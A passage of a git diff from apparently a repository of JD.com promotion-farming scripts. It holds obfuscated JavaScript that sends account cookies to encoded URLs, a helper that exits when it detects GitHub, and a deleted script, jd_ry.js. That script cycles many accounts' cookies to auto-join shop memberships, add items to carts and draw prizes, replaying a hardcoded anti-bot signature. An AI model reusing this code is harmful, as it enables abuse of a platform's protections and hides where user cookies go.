_0x5a607f();},'rzmOL':_0x66e1('‫cf'),'BHMPs':_0x66e1('‮d0'),'bXeER':_0x66e1('‮b3'),'PpkJK':_0x66e1('‫6f'),'WBWxn':_0x66e1('‮6e'),'PaIjf':_0x66e1('‫b2'),'xfdmd':_0x66e1('‮d1'),'frvKD':function(_0x1dcacb,_0x3a6edf){return _0x1dcacb(_0x3a6edf);},'EoXlB':_0x66e1('‮d2'),'ycILt':_0x66e1('‮d3'),'ozdqq':_0x66e1('‮d4')};return new Promise(async _0x38e5a9=>{var _0x3f8d4e={'QgOmf':function(_0x391b92){return _0x1bbccc[_0x66e1('‮d5')](_0x391b92);}};if(_0x1bbccc[_0x66e1('‮d6')](_0x1bbccc[_0x66e1('‮d7')],_0x1bbccc[_0x66e1('‮d7')])){console[_0x66e1('‫b')](data[_0x66e1('‫8b')][_0x66e1('‫8c')][0x3][0x0][_0x66e1('‫8d')]+'京豆');allMessage+=_0x66e1('‫3c')+$[_0x66e1('‮35')]+($[_0x66e1('‮37')]||$[_0x66e1('‫32')])+_0x66e1('‮8e')+data[_0x66e1('‫8b')][_0x66e1('‫8c')][0x3][0x0][_0x66e1('‫8d')]+_0x66e1('‮8f')+(_0x1bbccc[_0x66e1('‮d8')]($[_0x66e1('‮35')],cookiesArr[_0x66e1('‫29')])?'\x0a\x0a':'');}else{const _0x2fc353={'url':_0x66e1('‮d9'),'headers':{'Accept':_0x1bbccc[_0x66e1('‮da')],'Content-Type':_0x1bbccc[_0x66e1('‮db')],'Accept-Encoding':_0x1bbccc[_0x66e1('‫dc')],'Accept-Language':_0x1bbccc[_0x66e1('‮dd')],'Connection':_0x1bbccc[_0x66e1('‮de')],'Cookie':cookie,'Referer':_0x1bbccc[_0x66e1('‫df')],'User-Agent':$[_0x66e1('‮1')]()?process[_0x66e1('‫7')][_0x66e1('‫e0')]?process[_0x66e1('‫7')][_0x66e1('‫e0')]:_0x1bbccc[_0x66e1('‫e1')](require,_0x1bbccc[_0x66e1('‮e2')])[_0x66e1('‮e3')]:$[_0x66e1('‮10')](_0x1bbccc[_0x66e1('‫e4')])?$[_0x66e1('‮10')](_0x1bbccc[_0x66e1('‫e4')]):_0x1bbccc[_0x66e1('‫e5')]}};$[_0x66e1('‫e6')](_0x2fc353,(_0x215264,_0x3921ad,_0x5eac9f)=>{var _0x2c9580={'rbeRa':_0x1bbccc[_0x66e1('‫e7')],'AHagm':_0x1bbccc[_0x66e1('‫e8')]};try{if(_0x1bbccc[_0x66e1('‮e9')](_0x1bbccc[_0x66e1('‫ea')],_0x1bbccc[_0x66e1('‫eb')])){$[_0x66e1('‮1e')]($[_0x66e1('‮1f')],_0x2c9580[_0x66e1('‮ec')],_0x2c9580[_0x66e1('‮ed')],{'open-url':_0x2c9580[_0x66e1('‮ed')]});return;}else{if(_0x215264){if(_0x1bbccc[_0x66e1('‮d6')](_0x1bbccc[_0x66e1('‮ee')],_0x1bbccc[_0x66e1('‮ef')])){console[_0x66e1('‫b')](''+JSON[_0x66e1('‮c')](_0x215264));console[_0x66e1('‫b')]($[_0x66e1('‮1f')]+_0x66e1('‮63'));}else{console[_0x66e1('‫b')](e);console[_0x66e1('‫b')](_0x66e1('‮f0'));return![];}}else{if(_0x1bbccc[_0x66e1('‮f1')](_0x1bbccc[_0x66e1('‮f2')],_0x1bbccc[_0x66e1('‮f2')])){if(_0x1bbccc[_0x66e1('‫f3')](safeGet,_0x5eac9f)){_0x5eac9f=JSON[_0x66e1('‫45')](_0x5eac9f);if(_0x1bbccc[_0x66e1('‫f4')](_0x5eac9f[_0x1bbccc[_0x66e1('‫f5')]],0xd)){$[_0x66e1('‫36')]=![];return;}if(_0x1bbccc[_0x66e1('‮f6')](_0x5eac9f[_0x1bbccc[_0x66e1('‫f5')]],0x0)){$[_0x66e1('‮37')]=_0x5eac9f[_0x1bbccc[_0x66e1('‮f7')]]&&_0x5eac9f[_0x1bbccc[_0x66e1('‮f7')]][_0x66e1('‮98')]||$[_0x66e1('‫32')];}else{$[_0x66e1('‮37')]=$[_0x66e1('‫32')];}}else{if(_0x1bbccc[_0x66e1('‮f8')](_0x1bbccc[_0x66e1('‮f9')],_0x1bbccc[_0x66e1('‮fa')])){$[_0x66e1('‫b')]('','?\x20'+$[_0x66e1('‮1f')]+_0x66e1('‮47')+e+'!','');}else{console[_0x66e1('‫b')](_0x66e1('‫fb'));}}}else{_0x3f8d4e[_0x66e1('‮fc')](_0x38e5a9);}}}}catch(_0x402b7d){$[_0x66e1('‫4b')](_0x402b7d,_0x3921ad);}finally{_0x1bbccc[_0x66e1('‮fd')](_0x38e5a9);}});}});}function safeGet(_0x48276b){var _0x554721={'NVAat':_0x66e1('‫11'),'TJtxJ':_0x66e1('‫12'),'oBQTN':function(_0x403ba3,_0x457c1f){return _0x403ba3(_0x457c1f);},'HrSkn':_0x66e1('‫13'),'buvCc':function(_0x2af78f,_0x2e2119){return _0x2af78f==_0x2e2119;},'HBlsj':_0x66e1('‫fe'),'zOpAQ':function(_0x8d6756,_0x1b158c){return _0x8d6756!==_0x1b158c;},'FGOhD':_0x66e1('‮ff')};try{if(_0x554721[_0x66e1('‮100')](typeof JSON[_0x66e1('‫45')](_0x48276b),_0x554721[_0x66e1('‫101')])){if(_0x554721[_0x66e1('‮102')](_0x554721[_0x66e1('‮103')],_0x554721[_0x66e1('‮103')])){cookiesArr=[$[_0x66e1('‮10')](_0x554721[_0x66e1('‮104')]),$[_0x66e1('‮10')](_0x554721[_0x66e1('‫105')]),..._0x554721[_0x66e1('‮106')](jsonParse,$[_0x66e1('‮10')](_0x554721[_0x66e1('‫107')])||'[]')[_0x66e1('‮14')](_0x408d6c=>_0x408d6c[_0x66e1('‫15')])][_0x66e1('‫16')](_0x494821=>!!_0x494821);}else{return!![];}}}catch(_0x7e7841){console[_0x66e1('‫b')](_0x7e7841);console[_0x66e1('‫b')](_0x66e1('‮f0'));return![];}}function jsonParse(_0x595d96){var _0x5d9a35={'VtmAc':function(_0x46f7b3,_0x39bf88){return _0x46f7b3==_0x39bf88;},'QeVcl':_0x66e1('‫108'),'tqops':_0x66e1('‫109')};if(_0x5d9a35[_0x66e1('‫10a')](typeof _0x595d96,_0x5d9a35[_0x66e1('‮10b')])){try{return JSON[_0x66e1('‫45')](_0x595d96);}catch(_0x13b597){console[_0x66e1('‫b')](_0x13b597);$[_0x66e1('‮1e')]($[_0x66e1('‮1f')],'',_0x5d9a35[_0x66e1('‫10c')]);return[];}}}function jsonpToJson(_0x78009c){var _0x35f8bb={'UtWxr':function(_0x34cc8e,_0x3f7075){return _0x34cc8e===_0x3f7075;},'XpouY':_0x66e1('‫108')};let _0x15705b=null;if(_0x35f8bb[_0x66e1('‫10d')](typeof _0x78009c,_0x35f8bb[_0x66e1('‫10e')])){const _0xd3d7cb=/^\w+\((\{[^()]+\})\)$/;const _0x32fe25=_0x78009c[_0x66e1('‮34')](_0xd3d7cb);if(_0x32fe25){_0x15705b=JSON[_0x66e1('‫45')](_0x32fe25[0x1]);}}return _0x15705b;};_0xodH='jsjiami.com.v6'; -// prettier-ignore -function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_ry.js b/jd_ry.js deleted file mode 100644 index 3690d6a00..000000000 --- a/jd_ry.js +++ /dev/null @@ -1,3220 +0,0 @@ -/* -默认开卡、加购。 - -7.6-7.31 荣耀7月搜索有奖 -============Quantumultx=============== -[task_local] -#7.6-7.31 荣耀7月搜索有奖 -22 19 6-31 7 * jd_ry.js, tag=7.6-7.31 荣耀7月搜索有奖, enabled=true -*/ - -const $ = new Env('7.6-7.31 荣耀7月搜索有奖'); - -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], - cookie = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -allMessage = "" -message = "" -let UA = '' -let configCode = '88c6922588a3455cae5e3fc098e98fd1' -let friendPin = 't7AkmjBmxFsDeKdkZdzENYVI+useK94bdK5BQ6zjgl4=' -let toFriend = 0 -$.temp = []; - -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { - "open-url": "https://bean.m.jd.com/" - }); - return; - } - - $.shareArr = [] - console.log(`助力好像有问题,不管了`) - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - if (cookie) { - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - message = "" - $.bean = 0 - $.hotFlag = false - await getUA() - $.nickName = ''; - console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - await run(); - if($.index == 1 && !$.pin) break - if($.outFlag) break - } - } - if(allMessage){ - $.msg($.name, ``, `${allMessage}`); - if ($.isNode()){ - await notify.sendNotify(`${$.name}`, `${allMessage}`); - } - } -})() - .catch((e) => $.logErr(e)) - .finally(() => $.done()) - - -async function run() { - try { - let arr = getBody($.UA,`https://h5.m.jd.com/babelDiy/Zeus/42CC2AdvzUnXheP1CmTXrm7vHYSp/index.html?code=${configCode}`) - $.fp = arr.fp - await getEid(arr) - toFriend = 0 - $.bean = 0 - if(!$.fp || !$.eid){ - message += `获取活动信息失败!\n` - return - } - await getActivity() - $.taskList = [] - $.pin = '' - await getMyTask(1) - let friendCount = 0 - for(let i in $.taskList || []){ - $.oneTask = $.taskList[i] - let title = '' - switch ($.oneTask.taskType) { - case 2: - title = '关注' - break; - case 3: - title = '浏览' - break; - case 4: - title = '加购' - break; - case 8: - title = '邀请' - break; - case 11: - title = '开通会员' - break; - } - console.log(`${title} ${$.oneTask.finishCount}/${$.oneTask.itemCount}`) - let num = $.oneTask.itemCount - $.oneTask.finishCount - if($.oneTask.taskType == 8){ - friendCount = $.oneTask.finishCount - continue - } - if(num <= 0) continue - let taskNum = $.oneTask.itemCount - $.oneTask.finishCount - let goodsArr = [] - if([2,3,4,11].includes($.oneTask.taskType)){ - $.itemId = $.oneTask.taskItem.itemId - $.itemCode = $.oneTask.taskItem.itemCode - let task = [] - let onetask = [] - do{ - taskNum--; - task = [] - if($.oneTask.taskType == 11) await join($.itemCode) - await $.wait(parseInt(Math.random() * 2000 + 2000, 10)) - await takePostRequest('doTask'); - $.itemId = '' - await $.wait(parseInt(Math.random() * 2000 + 1000 * $.oneTask.viewTime || 2, 10)) - if($.oneTask.taskType != 3){ - task = await getMyTask(2) - if(task.length > 0){ - onetask = task.filter((x) => x.taskType == $.oneTask.taskType && x.finishCount < x.itemCount && x.taskItem.itemId != $.oneTask.taskItem.itemId) - if(onetask.length > 0){ - for(let k of onetask || []){ - if(k.taskType == $.oneTask.taskType){ - $.itemId = k.taskItem.itemId - } - } - } - } - } - }while ((($.itemId != '' && $.oneTask.taskType != 3) || ($.itemId == '' && $.oneTask.taskType == 3)) && taskNum > 0) - } - } - $.remainPoints = 0 - await getActivity() - - let count = parseInt($.remainPoints/100, 10) - console.log(`心动值:${$.remainPoints} 可抽奖次数:${count}`) - for(j=1;count-- && true;j++){ - console.log(`第${j}次`) - await draw() - await $.wait(parseInt(Math.random() * 2000 + 2000, 10)) - } - $.totalPoints = 0 - $.totalBeans = 0 - $.rewards = [] - await getMyRewards() - console.log(`\n当前剩余:${$.totalPoints}能量值 累计获得:${$.totalBeans}京豆`) - if($.rewards.length > 0){ - console.log('获得的奖品:') - for(let i of $.rewards || []){ - console.log(`类型:${i.rewardType} ${i.rewardName} ${i.limitStr} ${$.time('yyyy.MM.dd',i.couponBeginTime)}-${$.time('yyyy.MM.dd',i.couponEndTime)}`) - if(i.rewardType != 2){ - let msg = `【京东账号${$.index}】${$.nickName || $.UserName}\n类型:${i.rewardType} ${i.rewardName} ${i.limitStr}\n` - if ($.isNode()){ - await notify.sendNotify(`${$.name}`, `${msg}`); - }else{ - $.msg($.name, ``, `${msg}`); - } - } - } - console.log('\n类型2为优惠券\n如有其他类型可能需要到活动页面填写地址\n') - } - if($.bean > 0){ - allMessage += `【京东账号${$.index}】${$.nickName || $.UserName}\n本次运行获得${$.bean}京豆\n` - } - if(true){ - $.log($.pin) - $.log("当前助力:"+friendPin) - if($.pin){ - $.shareArr.push({"friendPin":$.pin,"count":friendCount,'index':$.index}) - }else if($.index === 1){ - console.log('账号1获取不到[friendPin]退出执行,请重新执行') - return - } - if(toFriend == 1 && $.index !== 1) updatefriend(friendPin,1) - if($.index === 1) updatefriend(friendPin,0) - } - await $.wait(parseInt(Math.random() * 2000 + 5000, 10)) - } catch (e) { - console.log(e) - } -} - -function updatefriend(id,type) { - let index = 0 - for(let i in $.shareArr){ - if($.shareArr[i] && $.shareArr[i].friendPin == id){ - index = i - break - } - } - if(type == 1) $.shareArr[index].count++ - if($.shareArr[index].count >= 10 || type == 0){ - console.log(`助力码[${$.shareArr[index].friendPin}] 已邀请${$.shareArr[index].count}`) - for(let i in $.shareArr){ - if($.shareArr[i] && $.shareArr[i].count < 10){ - friendPin = $.shareArr[i].friendPin - console.log(`更新助力码[${friendPin}] 账号${$.shareArr[i].index} 已邀请${$.shareArr[i].count}`) - break - } - } - } -} -async function takePostRequest(type) { - if($.hotFlag) return - let url = ''; - let body = ``; - let method = 'POST' - switch (type) { - case 'doTask': - url = `https://jdjoy.jd.com/module/freshgoods/doTask`; - body = `code=${configCode}&taskType=${$.oneTask.taskType}&taskId=${$.oneTask.taskId}&eid=${$.eid}&fp=${$.fp}${$.itemId && "&itemId="+$.itemId || ""}&friendPin=${encodeURIComponent(friendPin)}` - break; - default: - console.log(`错误${type}`); - } - let myRequest = getPostRequest(url, body, method); - return new Promise(async resolve => { - $.post(myRequest, (err, resp, data) => { - try { - // setActivityCookie(resp) - if (err) { - if(resp && resp.statusCode && resp.statusCode == 493){ - console.log('此ip已被限制,请过10分钟后再执行脚本\n') - $.outFlag = true - } - console.log(`${$.toStr(err,err)}`) - console.log(`${type} API请求失败,请检查网路重试`) - } else { - dealReturn(type, data); - } - } catch (e) { - // console.log(data); - console.log(e, resp) - } finally { - resolve(); - } - }) - }) -} - -async function dealReturn(type, data) { - let res = '' - try { - res = JSON.parse(data); - } catch (e) { - console.log(`${type} 执行任务异常`); - console.log(data); - $.runFalag = false; - } - switch (type) { - case 'doTask': - if(typeof res == 'object' && res.success && res.success === true){ - toFriend = 1 - let msg = '' - if(res.data && res.data.rewardBeans > 0) msg += res.data.rewardBeans+'京豆' - if(res.data && res.data.rewardPoints > 0) msg += res.data.rewardPoints+'能量值' - console.log(`获得: ${msg || data}`) - }else if(typeof res == 'object' && res.errorMessage){ - if(res.errorMessage == '任务已完成') $.runFalag = false - console.log(`${type} ${res.errorMessage || ''}`) - }else{ - console.log(`${type} ${data}`) - } - break; - default: - console.log(`${type}-> ${data}`); - } - if(typeof res == 'object' && res.errorMessage){ - if(res.errorMessage.indexOf('火爆') >-1 ){ - $.hotFlag = true - } - } -} - -function getPostRequest(url, body, method="POST") { - let ck = cookie - let host = '' - let headers = { - "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", - "Accept-Language": "zh-cn", - "Accept-Encoding": "gzip, deflate, br", - "Connection": "keep-alive", - 'Cookie': `${ck}`, - "X-Requested-With": "XMLHttpRequest", - "User-Agent": `${UA || $.UA}` , - } - if(method == "POST"){ - headers["Content-Type"] = "application/x-www-form-urlencoded" - headers["Accept"] = "application/json" - } - // console.log(headers) - // console.log(headers.Cookie) - return {url: url, method: method, headers: headers, body: body, timeout:30000}; -} -function join(venderId) { - return new Promise(async resolve => { - $.shopactivityId = '' - await $.wait(1000) - await getshopactivityId(venderId) - $.get(ruhui(`${venderId}`), async (err, resp, data) => { - try { - // console.log(data) - res = $.toObj(data,data); - if(typeof res == 'object'){ - if(res.success === true){ - console.log(res.message) - if(res.result && res.result.giftInfo){ - for(let i of res.result.giftInfo.giftList){ - console.log(`入会获得:${i.discountString}${i.prizeName}${i.secondLineDesc}`) - } - } - }else if(typeof res == 'object' && res.message){ - console.log(`${res.message || ''}`) - }else{ - console.log(data) - } - }else{ - console.log(data) - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function ruhui(functionId) { - let activityId = `` - let h5st = '20220412164634306%3Bf5299392a200d6d9ffced997e5790dcc%3B169f1%3Btk02wc0f91c8a18nvWVMGrQO1iFlpQre2Sh2mGtNro1l0UpZqGLRbHiyqfaUQaPy64WT7uz7E%2FgujGAB50kyO7hwByWK%3B77c8a05e6a66faeed00e4e280ad8c40fab60723b5b561230380eb407e19354f7%3B3.0%3B1649753194306' - if($.shopactivityId) activityId = `,"activityId":${$.shopactivityId}` - return { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body={"venderId":"${functionId}","shopId":"${functionId}","bindByVerifyCodeFlag":1,"registerExtend":{},"writeChildFlag":0${activityId},"channel":401}&client=H5&clientVersion=9.2.0&uuid=88888&h5st=${h5st}`, - headers: { - 'Content-Type': 'text/plain; Charset=UTF-8', - 'Origin': 'https://api.m.jd.com', - 'Host': 'api.m.jd.com', - 'accept': '*/*', - 'User-Agent': $.UA, - 'content-type': 'application/x-www-form-urlencoded', - 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401`, - 'Cookie': cookie - } - } -} -function getshopactivityId(venderId) { - return new Promise(resolve => { - $.get(shopactivityId(`${venderId}`), async (err, resp, data) => { - try { - data = JSON.parse(data); - if(data.success == true){ - // console.log($.toStr(data.result)) - console.log(`入会:${data.result.shopMemberCardInfo.venderCardName || ''}`) - $.shopactivityId = data.result.interestsRuleList && data.result.interestsRuleList[0] && data.result.interestsRuleList[0].interestsInfo && data.result.interestsRuleList[0].interestsInfo.activityId || '' - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function shopactivityId(functionId) { - let h5st = '20220412164634306%3Bf5299392a200d6d9ffced997e5790dcc%3B169f1%3Btk02wc0f91c8a18nvWVMGrQO1iFlpQre2Sh2mGtNro1l0UpZqGLRbHiyqfaUQaPy64WT7uz7E%2FgujGAB50kyO7hwByWK%3B77c8a05e6a66faeed00e4e280ad8c40fab60723b5b561230380eb407e19354f7%3B3.0%3B1649753194306' - return { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=%7B%22venderId%22%3A%22${functionId}%22%2C%22channel%22%3A401%7D&client=H5&clientVersion=9.2.0&uuid=88888&h5st=${h5st}`, - headers: { - 'Content-Type': 'text/plain; Charset=UTF-8', - 'Origin': 'https://api.m.jd.com', - 'Host': 'api.m.jd.com', - 'accept': '*/*', - 'User-Agent': $.UA, - 'content-type': 'application/x-www-form-urlencoded', - 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401`, - 'Cookie': cookie - } - } -} -function getMyTask(type) { - return new Promise(resolve => { - let get = { - url:`https://jdjoy.jd.com/module/freshgoods/getMyTask?code=${configCode}`, - headers: { - "Cookie": cookie, - "User-Agent": $.UA, - }, - timeout:30000 - } - $.get(get, async(err, resp, data) => { - try { - if (err) { - if(resp.statusCode && resp.statusCode == 493){ - console.log('此ip已被限制,请过10分钟后再执行脚本\n') - $.outFlag = true - } - console.log(`${$.toStr(err)}`) - console.log(`${$.name} cookie API请求失败,请检查网路重试`) - } else { - // console.log(data) - let res = $.toObj(data,data) - if(typeof res == 'object' && res.success && res.success === true){ - if(res.data){ - if(type == 1){ - $.pin = res.data.pin || '' - $.taskList = res.data.myTasks || [] - }else if(type == 2){ - resolve(res.data.myTasks || []) - } - }else{ - console.log(data) - } - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve([]); - } - }) - }) -} -function getMyRewards() { - return new Promise(resolve => { - let get = { - url:`https://jdjoy.jd.com/module/freshgoods/getMyRewards?code=${configCode}&friendPin=${encodeURIComponent(friendPin)}`, - headers: { - "Cookie": cookie, - "User-Agent": $.UA, - }, - timeout:30000 - } - $.get(get, async(err, resp, data) => { - try { - if (err) { - if(resp.statusCode && resp.statusCode == 493){ - console.log('此ip已被限制,请过10分钟后再执行脚本\n') - $.outFlag = true - } - console.log(`${$.toStr(err)}`) - console.log(`${$.name} cookie API请求失败,请检查网路重试`) - } else { - // console.log(data) - let res = $.toObj(data,data) - if(typeof res == 'object' && res.success && res.success === true){ - if(res.data){ - $.totalBeans = res.data.totalBeans - $.totalPoints = res.data.totalPoints - $.rewards = res.data.rewards - }else{ - console.log(data) - } - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve([]); - } - }) - }) -} -function getActivity() { - return new Promise(resolve => { - let get = { - 